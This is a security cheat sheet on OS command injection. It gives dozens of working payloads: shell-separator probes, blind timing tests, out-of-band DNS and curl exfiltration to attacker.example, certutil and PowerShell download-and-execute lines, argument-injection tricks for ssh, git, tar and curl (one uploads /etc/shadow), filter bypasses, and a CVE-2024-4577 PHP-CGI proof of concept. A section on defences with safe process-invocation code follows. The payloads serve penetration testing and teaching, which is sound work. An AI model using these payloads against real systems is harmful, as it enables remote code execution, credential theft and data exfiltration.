Vulnsy
All cheat sheets

OS Command Injection Cheat Sheet

criticalOWASP Top 10 A03CWE-77CWE-78CWE-88

OS Command Injection occurs when user input is concatenated into a shell command, letting an attacker append commands or flags. Detect with separator probes (; | & && ||), command substitution ($() or backticks), and time-based blind tests (sleep 10). When a verb is fixed, pivot to argument injection — supplying a value that begins with - or -- to introduce new flags into curl, ssh, git, find or tar.

Remember argument injection: even when separators are filtered, "value" → "-oProxyCommand=id victim" reaches RCE through ssh, git --upload-pack, find -exec, tar --checkpoint-action and similar coreutils. Filename-based injection through unzip/ffmpeg/convert pipelines is the same class. The fix is list-form process invocation plus -- end-of-options sentinels.

48 payloads across 6 technique families

Separator-Based Injection

Classic shell-metacharacter injection: ; | & && || \n and command substitution. The first probes to send when a parameter looks like it lands in a shell command. Works against Unix /bin/sh -c and Windows cmd.exe (separator semantics differ).

Detection signals
  • Output reflection: command stdout (uid=0(root)... ) appears in the HTTP response.
  • Error reflection: shell errors (/bin/sh: 1: ..., 'foo' is not recognized as an internal or external command) leak in response body.
  • Differential responses: && true && returns one body, && false || other returns a different body — confirms shell evaluation.

Semicolon sequence

; id

Semicolon ends the first command and runs id sequentially. Unix /bin/sh -c respects ; — Windows cmd.exe does not, so use & on Windows.

Pipe

| id

Pipes stdout of the original command into stdin of id. id ignores stdin so it just runs — works on both Unix and Windows.

Background ampersand

& id

Unix backgrounds the first command and immediately runs id; on Windows cmd.exe, & runs commands sequentially (different semantics, same outcome).

Logical AND

&& id

Runs id only if the first command succeeds — useful when the first command predictably succeeds (echo, true, ping localhost).

Logical OR

|| id

Runs id only if the first command fails — flip side of && for parameters that predictably fail (a bogus filename, invalid arg).

Backtick substitution

`id`

Command substitution: backticks execute id and substitute its stdout in place. Unix only; useful inside double-quoted strings where separators are filtered.

$(...) substitution

$(id)

POSIX-preferred command substitution. Survives blocklists that strip backticks but not parentheses; works inside both single- and double-quoted contexts.

URL-encoded LF

%0a id

URL-encoded newline acts as a command terminator when the parameter reaches system() through CGI. %0d (CR) sometimes also works on Windows.

Quote-break with comment

'; id; '

When the parameter is single-quoted in the command string, break out, inject id, then re-open the quote so the original command still parses.

Pipe with hash comment

| id #

After injecting id, # comments out the remainder of the original command — handy when trailing args would otherwise produce errors.

Blind Injection (Time / OOB DNS / OOB HTTP)

When command output is not reflected, prove execution through measurable side channels: time delays via sleep/ping/timeout, DNS callbacks via nslookup, or inbound HTTP via curl/wget. OOB DNS works even when egress firewalls block HTTP because internal resolvers usually forward to the internet.

Detection signals
  • Response latency >= injected sleep N (calibrate with N=0 baseline).
  • Burp Collaborator / Interactsh receives DNS or HTTP request from target IP shortly after submission.
  • File-write reflection: ;id > /var/www/static/x.txt then GET /static/x.txt yields output even when stdout is unreachable.

Unix sleep

; sleep 10

Most reliable timing oracle on Unix. Repeat with N=0 to confirm baseline, then N=10 to confirm injection — diff in response time confirms execution.

Unix ping (no shell builtin)

& ping -c 10 127.0.0.1 &

Fallback when sleep is filtered. -c 10 sends 10 ICMP packets at 1 second intervals — produces ~10s delay using only an external binary every Unix system has.

Windows ping

Windows
&& ping -n 11 127.0.0.1

Windows ping -n N sends N packets at 1s intervals, producing N-1 second delay. Use 11 for ~10s. && is preferred — & has different cmd.exe semantics.

Windows timeout

Windows
| timeout 10

timeout.exe is a builtin Windows command that pauses execution for N seconds — cleaner than ping for timing oracles when present.

$(sleep 10) inside string

$(sleep 10)

Command substitution form — works when separators are filtered but $() is not. Embeds inside other strings without breaking quoting.

OOB DNS callback (whoami)

; nslookup $(whoami).c.attacker.example

Encodes whoami output as a DNS subdomain. Internal resolvers forward to authoritative servers — yields exfil even when HTTP egress is blocked.

OOB DNS with base64

| nslookup `id|base64`.c.attacker.example

base64 keeps DNS labels valid (no /, no =, no +) by encoding multi-line id output into a single label-safe string.

OOB HTTP exfil

; curl http://attacker.example/?d=$(id|base64 -w0)

When egress permits HTTP, curl beats DNS for high-throughput exfil. -w0 prevents base64 from inserting line breaks that mangle the URL.

PowerShell DNS callback

Windows
& powershell -c "Resolve-DnsName $(whoami).c.attacker.example"

Windows equivalent of nslookup chain. Resolve-DnsName is PowerShell's DNS client — works without internet egress because internal DNS servers usually forward.

Perl sleep fallback

; perl -e 'sleep 10';

When sleep, ping and timeout are all filtered, perl -e is a near-universal scripting fallback present on most Linux servers.

Unix vs Windows Specifics

Separator semantics, env-var syntax, and binary names differ. Probe both syntaxes when the target OS is unknown — failures often leak the OS through error messages.

Detection signals
  • Error "is not recognized as an internal or external command" → Windows cmd.exe.
  • Error "/bin/sh: 1: ..." → Unix /bin/sh.
  • %COMSPEC% expansion / %USERNAME% reflected → Windows. $HOME / $USER reflected → Unix.

Windows whoami via &

Windows
& whoami

cmd.exe treats & as sequential command separator. whoami is a builtin Windows command that always succeeds — clean confirmation.

Windows certutil download-and-execute

Windows
& certutil -urlcache -split -f http://a/x.exe x.exe & x.exe

certutil is a signed Microsoft binary that doubles as a downloader (LOLBAS). -urlcache -split -f fetches a file from URL; the second & runs it.

Windows curl download-and-execute

Windows
& curl http://a/x.exe -o x.exe & x.exe

Modern Windows ships curl.exe. -o writes to file; the second & immediately executes — same pattern as certutil but without LOLBAS detection.

Windows COMSPEC indirection

Windows
%COMSPEC% /c whoami

When cmd.exe is filtered, %COMSPEC% expands to the same binary. Useful against denylists matching literal "cmd".

PowerShell encoded command

Windows
; powershell -enc <base64-utf16le>

PowerShell -enc accepts base64-encoded UTF-16LE — bypasses character filters that block obvious PowerShell cmdlet names.

PowerShell IEX download

Windows
| iex(New-Object Net.WebClient).DownloadString('http://a/x')

Invoke-Expression (iex) executes a remote PowerShell script in memory — classic fileless RCE. WebClient.DownloadString fetches the body as a string.

Unix substring expansion fingerprint

; echo ${BASH_VERSION:0:1}

Probes whether the spawned shell is bash (returns 4 or 5) vs sh/dash (empty). Determines whether bashisms like BASH_ENV are reachable.

Argument Injection (curl / ssh / git / tar / find / wget / mvn)

When the command verb is fixed but the attacker controls a flag/argument value, supplying a value beginning with - or -- introduces a new flag that changes the program's behavior. Defeats naive sanitizers that only filter shell metacharacters.

Detection signals
  • Application accepts a value that begins with - or -- without rejecting it.
  • Process tree shows the verb (curl, ssh, git, find) running with the injected flag.
  • Filename-as-flag variant: filename "--checkpoint-action=exec=id" passed to tar reaches RCE without separator characters.

curl --output exfil

curl
--output /tmp/sh -d @/etc/shadow http://attacker.example/

curl reads -d @file from disk and uploads it as POST body. Combined with --output (or -o) writing a fake binary, this exfiltrates files and drops a payload in one call.

ssh ProxyCommand RCE

ssh
-oProxyCommand=id victim

ssh -oProxyCommand=<cmd> spawns the supplied command as a proxy — runs id immediately on the local host. The "victim" hostname never needs to resolve.

git --upload-pack RCE

git
clone --upload-pack="id" attacker:repo.git

git's --upload-pack overrides the SSH command run on the remote — but more importantly, when the URL is local or the protocol is custom, the value runs locally. Exploited in many CI/CD webhook handlers.

tar --checkpoint-action=exec

tar
--checkpoint=1 --checkpoint-action=exec=sh attacker.tar

GNU tar --checkpoint-action=exec=COMMAND runs COMMAND every N records — instant arbitrary execution when an attacker controls tar arguments (resume parsers, backup tools).

find -exec

find
. -exec /bin/sh \; -quit

-exec /bin/sh \; spawns a shell as the find user; -quit makes it exit after the first match. Common privilege-escalation gadget when find is reachable in a SUID context.

wget --use-askpass

wget
--use-askpass=/path/to/evil http://attacker/

wget --use-askpass executes the supplied program to obtain credentials — argument injection yields RCE when wget is wrapped in webhooks or automation.

zip -T -TT

zip
-T -TT 'sh #' /tmp/x.zip /etc/passwd

zip -T -TT <CMD> runs CMD to "test" the archive — sh # is the shell with # commenting out the rest of the line zip appends. RCE in unzip/zip wrappers.

mvn exec.executable

mvn
-Dexec.executable=/bin/sh -Dexec.args='-c id' exec:exec

Maven's exec:exec plugin reads -Dexec.executable and -Dexec.args from the CLI — injecting these into a CI webhook reaches arbitrary command execution.

Character-Restricted Bypasses ($IFS, wildcards, no-quotes)

Naive blocklists strip space, slash, quotes, or specific characters. Bypasses use $IFS for whitespace, brace/glob expansion for slashes, hex/printf for letters, and base64 round-trip for arbitrary content.

Detection signals
  • Glob expansion makes responses non-deterministic — same payload may resolve to different binaries depending on PATH order.
  • Differential timing on $IFS variants confirms whitespace-bypass reachability.
  • Watch for "globbing" in error messages when wildcards do not match.

$IFS whitespace bypass

cat${IFS}/etc/passwd

$IFS (Internal Field Separator) defaults to space-tab-newline. ${IFS} substitutes a literal space at parse time — defeats space-based blocklists.

$IFS$9 variant

cat${IFS}$9/etc/passwd

$9 is the 9th positional parameter, almost always empty — appending it after $IFS prevents shell from glomming the variable name with the next character.

Brace expansion

{cat,/etc/passwd}

Brace expansion splits on commas — produces "cat /etc/passwd" without using a literal space character.

Redirection bypass

cat</etc/passwd

Redirects file content to cat's stdin instead of passing as argument — eliminates the space between cat and the path.

Hex space via $'\x20'

X=$'\x20';cat${X}/etc/passwd

Bash's $'...' ANSI-C quoting decodes hex escapes — assigns a literal space to X, then expands ${X} between cat and the path.

Wildcard /???/?s for /bin/ls

/???/?s

Glob expansion: /??? matches /bin (and /opt, /sbin); ?s matches "ls" — runs without typing letters that may be filtered.

Wildcard cat /etc/passwd

/???/??t /???/p??sw?

Same glob technique for "cat /etc/passwd" — bypasses denylists targeting "cat", "etc", or "passwd" literals.

Quote mangling whoami

w'h'o'am'i

Single quotes around individual characters concatenate at parse time — w'h'o'am'i evaluates to whoami. Defeats keyword denylists.

Base64 round-trip

bash<<<$(base64 -d<<<"aWQ=")

<<< is a here-string. Decodes "aWQ=" → "id" then feeds to bash — runs arbitrary commands using only base64-safe characters.

BASH_ENV smuggling

BASH_ENV=/dev/stdin bash <<<id

When the spawned shell is bash -c (not sh -c) and the application allows attacker-controlled env vars, BASH_ENV=/dev/stdin runs the here-string before the main command — RCE without any separator characters.

PHP-CGI Best-Fit Argument Injection (CVE-2024-4577)

Windows code-page conversion best-fit-maps soft hyphen 0xAD to ASCII hyphen — re-enabling CVE-2012-1823-style argument injection on patched PHP for Windows when CGI is in use. Mass-exploited Q1 2025.

Detection signals
  • Target serves .php through CGI on Windows (Apache mod_cgi, IIS FastCGI, ApacheLounge bundles).
  • PHP version reported by the server is < 8.1.29 / 8.2.20 / 8.3.8.
  • %AD characters in URL not URL-decoded by the WAF — confirms reach to mod_cgi.

CVE-2024-4577 PoC

PHP-CGI on Windows
POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: target

<?php system($_GET['c']); ?>

The %AD (soft hyphen, U+00AD) is best-fit-mapped to "-" by Windows code-page conversion, slipping past CGI's normal "-" escape — letting the attacker pass -d switches to PHP and reach php://input for remote PHP execution.

allow_url_include + auto_prepend_file

PHP-CGI on Windows
/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

Same primitive without a body — yields configuration tampering that auto-includes attacker-supplied PHP from php://input on every subsequent request.

watchTowr PoC variant

PHP-CGI on Windows
/index.php?%ADn+%ADd+allow_url_include%3don+%ADd+auto_prepend_file%3dphp://input

Adds -n to disable php.ini loading, neutralising hardening directives. watchTowr labs published this variant.

Modern bypasses (2023–2026)

CVE-2024-4577 PHP-CGI Best-Fit Argument Injection

Soft-hyphen 0xAD becomes - after Windows MBCS best-fit conversion, re-enabling CVE-2012-1823-style argument injection on patched PHP for Windows when CGI is in use. Mass exploitation observed in Q1 2025.

POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

CI/CD webhook argument injection

git's --upload-pack, --receive-pack, core.fsmonitor and core.gitProxy accept arbitrary commands and are reachable through unsanitized clone URLs in GitHub/GitLab/Jenkins integrations. Same pattern with npm run <user-controlled>, jq -e --slurpfile, and mvn -Dexec.executable.

git clone --upload-pack='id' http://attacker/repo.git

BASH_ENV / ENV environment-variable smuggling

When the spawned shell is bash -c (not sh -c) and the application allows attacker-controlled env vars (CGI, headers reflected to env), BASH_ENV=/dev/stdin or BASH_ENV=http://... yields RCE without any shell metacharacters.

Cookie: BASH_ENV=/dev/stdin
... body containing shell commands ...

$IFS / wildcard restricted-charset bypasses

$IFS substitutes whitespace; brace expansion and globs reach paths without literal slashes; quote-mangling defeats keyword filters; printf $'\x..' reconstructs arbitrary characters from hex.

cat${IFS}/etc/passwd  /  /???/??t /???/p??sw?

GTFOBins post-injection privilege escalation

Once a command runs as a privileged user (sudo, SUID, root cron), GTFOBins maps every common binary to a /bin/sh spawn — find -exec /bin/sh \;, tar --checkpoint-action, awk 'BEGIN{system("/bin/sh")}', vim -c ':!/bin/sh', less !sh, env /bin/sh.

Network-device CLI injection (Cisco, Fortinet, Ivanti, Juniper)

Recurring 2024 pattern across major network vendors: web/CLI boundary enables injection in show/exec/ping/traceroute parameters where the management UI passes user-supplied strings into the device CLI without escaping.

Filename-as-flag and unzip/ffmpeg/convert chains

Uploaded filenames passed unquoted to convert, ffmpeg, unzip and tar become argument injection — magic filenames like - or --checkpoint-action=exec=sh become flags. Same class as argument injection but reachable via file-upload UI.

tar -xf -checkpoint-action=exec=sh malicious.tar  (filename starts with -)

Defences

Don't shell out — use language-native APIs

Replace system("mkdir ...") with os.makedirs / Files.createDirectories / fs.mkdir / Directory.CreateDirectory. Replace shelling out to curl with the language's HTTP client. Replace ImageMagick with libvips/Pillow/ImageSharp. The shell is the attack surface — remove it.

# GOOD — language-native APIs, no shell, no command parsing
import os, shutil, requests, pathlib

pathlib.Path(target_dir).mkdir(parents=True, exist_ok=True)
shutil.copyfile(src, dst)
resp = requests.get(url, timeout=10)

# BAD — shells out unnecessarily
os.system(f"mkdir -p {target_dir}")          # command injection
os.system(f"curl {url} -o /tmp/x")           # command injection

Python — list-form subprocess.run (shell=False)

When you must execute a process, pass arguments as a list with shell=False so each element is a positional argument and never reinterpreted by /bin/sh -c. check=True raises on non-zero exit — fail loud.

import subprocess

# GOOD — list form, no shell, args are positional
subprocess.run(
    ["nmap", "-sT", target],
    shell=False,
    check=True,
    capture_output=True,
    timeout=60,
)

# BAD — string with shell=True interprets metacharacters
subprocess.run(f"nmap -sT {target}", shell=True)
os.system(f"nmap -sT {target}")
os.popen(f"nmap -sT {target}")

Node.js — execFile, never exec

child_process.exec spawns a shell and reinterprets its arguments — every shell metacharacter is dangerous. execFile takes a command and an args array, spawning the binary directly with no shell.

const { execFile } = require('child_process');

// GOOD — execFile spawns binary directly, args are positional
execFile('ping', ['-c', '1', host], { timeout: 5000 }, (err, stdout, stderr) => {
  if (err) return cb(err);
  cb(null, stdout);
});

// BAD — exec reinterprets via /bin/sh -c
const { exec } = require('child_process');
exec(`ping -c 1 ${host}`, cb);                // command injection
exec('ping -c 1 ' + host, cb);                  // command injection

Java — ProcessBuilder with separate args

ProcessBuilder takes a list of strings: the first is the command, the rest are arguments — no shell, no concatenation. Runtime.exec(String) splits on whitespace and is dangerous; always prefer ProcessBuilder or Runtime.exec(String[]).

import java.util.List;

// GOOD — ProcessBuilder with separate arguments
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", host);
pb.redirectErrorStream(true);
Process p = pb.start();

// GOOD — Runtime.exec(String[]) form
Runtime.getRuntime().exec(new String[] { "ping", "-c", "1", host });

// BAD — Runtime.exec(String) splits on whitespace, sh -c invocation reinterprets
Runtime.getRuntime().exec("ping -c 1 " + host);                       // injection
Runtime.getRuntime().exec("sh -c 'ping -c 1 " + host + "'");          // injection

Go — exec.Command with separate args

Go's os/exec spawns processes directly via execve — Command takes the binary then variadic args, never invoking a shell unless you explicitly call sh -c. Avoid the latter form entirely.

package main

import (
    "context"
    "os/exec"
    "time"
)

// GOOD — separate args, no shell
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
out, err := exec.CommandContext(ctx, "ping", "-c", "1", host).Output()

// BAD — sh -c reinterprets metacharacters
exec.Command("sh", "-c", "ping -c 1 "+host).Run()              // injection
exec.Command("bash", "-c", fmt.Sprintf("ping %s", host)).Run() // injection

PHP — proc_open with array form (or escapeshellarg)

PHP 7.4+ accepts an array form for proc_open / pcntl_exec that bypasses shell parsing entirely. For legacy code stuck on system/exec, escapeshellarg quotes a single argument safely — but escapeshellcmd is NOT safe and must not be used.

<?php
// BEST — proc_open with array form (PHP 7.4+) — no shell
$descriptors = [0 => ['pipe','r'], 1 => ['pipe','w'], 2 => ['pipe','w']];
$proc = proc_open(['ping', '-c', '1', $host], $descriptors, $pipes);
$stdout = stream_get_contents($pipes[1]);
proc_close($proc);

// ACCEPTABLE for legacy — escapeshellarg quotes a single arg
system('ping -c 1 ' . escapeshellarg($host));

// BAD — escapeshellcmd is NOT safe; concatenation still vulnerable
system('ping -c 1 ' . escapeshellcmd($host));   // still injectable via -flag
system("ping -c 1 $host");                       // direct injection

End-of-options sentinel "--" against argument injection

Even with list-form invocation, a value beginning with - is interpreted as a flag. Pass -- before user-controlled positional args to terminate option parsing: git clone -- "$URL", curl -- "$URL", grep -- "$PATTERN" file.

# GOOD — -- terminates option parsing; subsequent args are always positional
git clone -- "$URL"
curl -- "$URL"
grep -- "$PATTERN" file.txt
rm -- "$FILE"

# BAD — value starting with - becomes a flag
git clone "$URL"        # if URL = "--upload-pack=id" → RCE
curl "$URL"             # if URL = "-o/tmp/x http://a/" → file overwrite
rm "$FILE"              # if FILE = "-rf /" → catastrophe

Allowlist user values + drop privileges + log every exec

Strict allowlists for user-supplied values: numeric → ^\d+$, hostname → RFC-1123 regex, IP → parse with the language's IP type. Run process spawners under unprivileged service accounts; constrain with seccomp / AppArmor / Windows job objects. Log every external exec and alert on shell metacharacters in arguments.

import re, ipaddress, subprocess, logging

HOST_RE = re.compile(r'^(?=.{1,253}$)(?!-)[A-Za-z0-9-]{1,63}(?<!-)(\.(?!-)[A-Za-z0-9-]{1,63}(?<!-))*$')

def safe_ping(host: str) -> bytes:
    # 1. allowlist — reject anything not a valid hostname or IP
    try:
        ipaddress.ip_address(host)
    except ValueError:
        if not HOST_RE.match(host):
            raise ValueError("invalid host")

    # 2. log
    logging.info("exec ping host=%s", host)

    # 3. list form, no shell, timeout
    return subprocess.check_output(
        ["ping", "-c", "1", "--", host],
        timeout=5,
        stderr=subprocess.STDOUT,
    )

Real-world CVEs

CVEYearTitleDescription
CVE-2024-45772024PHP-CGI on Windows best-fit argument injectionSoft-hyphen 0xAD best-fit-mapped to ASCII hyphen revives CVE-2012-1823 argument injection on patched PHP-CGI for Windows; -d allow_url_include + auto_prepend_file=php://input yields unauthenticated RCE. Mass-exploited in 2025.
CVE-2024-34002024Palo Alto GlobalProtect unauthenticated command injectionPre-auth command injection in PAN-OS GlobalProtect feature exploited in the wild by nation-state actors; KEV-listed by CISA in April 2024.
CVE-2024-238972024Jenkins CLI args4j argument injectionArgument injection via Jenkins CLI's expandAtFiles + args4j combination — attackers read arbitrary files and frequently pivot to RCE through Groovy or job-config writes. KEV-listed.
CVE-2024-218872024Ivanti Connect Secure command injectionAuthenticated command injection in web components, chained with CVE-2023-46805 auth bypass for unauthenticated RCE — exploited at scale against thousands of Ivanti VPN appliances.
CVE-2024-203992024Cisco NX-OS authenticated CLI command injectionAuthenticated CLI command injection via crafted argument in Cisco NX-OS switches; KEV-listed by CISA. Demonstrates the network-device CLI-boundary pattern.
CVE-2024-37212024TBK DVR command injection (weaponised by Mirai/Nexcorium)Command injection via mdb / mdc HTTP parameters in TBK DVRs — directly weaponised by Mirai-variant Nexcorium for IoT botnet recruitment.
FG-IR-24-3442024Fortinet FortiOS CLI OS command injectionOS command injection in a FortiOS CLI subcommand exposed across multiple FortiGate models — same network-device boundary pattern as Cisco/Ivanti/Juniper 2024 disclosures.

Further reading